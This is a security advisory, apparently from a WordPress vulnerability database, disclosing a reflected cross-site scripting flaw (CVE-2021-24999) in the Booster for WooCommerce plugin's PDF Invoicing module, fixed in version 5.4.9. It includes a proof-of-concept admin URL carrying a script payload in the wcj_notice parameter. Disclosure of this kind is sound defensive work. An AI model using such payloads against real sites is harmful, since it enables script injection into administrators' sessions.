Booster for Woocommerce < 5.4.9 – Reflected Cross-Site Scripting in PDF Invoicing Module | CVE 2021-24999 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the wcj_notice parameter before outputting it back in the admin dashboard when the Pdf Invoicing module is enabled, leading to a Reflected Cross-Site Scripting

Proof of Concept

With the PDF Invoicing module active:

https://example.com/wp-admin/edit.php?post_type=shop_order&paged=1&generated=1&generated_type=invoice&generated_invoice=1&post_status=all&wcj_notice=<script>alert(/XSS/)</script>

Affects Plugins

woocommerce-jetpack

Fixed in 5.4.9

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Jeremie Amsellem

Submitter

Jeremie Amsellem

Submitter website

Submitter twitter

Verified

Yes

WPVDB ID

8527f4fe-312f-45c1-ae4c-7e799702fc26

Timeline

Publicly Published

2021-12-01 (about 4 years ago)

Added

2021-12-01 (about 4 years ago)

Last Updated

2022-04-09 (about 3 years ago)

Other

Published

Title

Published

2021-11-08

Title

WooCommerce Currency Switcher < 1.3.7.1 - Reflected Cross-Site Scripting

Published

2025-01-06

Title

Sina Extension for Elementor < 3.6.0 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via Sina Image Differ

Published

2024-11-14

Title

WP AdCenter – Ad Manager & Adsense Ads < 2.5.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpadcenter_ad Shortcode

Published

2023-11-13

Title

Simply Excerpts <= 1.4 - Admin+ Stored XSS

Published

2025-02-27

Title

SecuPress Free < 2.3 - Contributor+ Stored XSS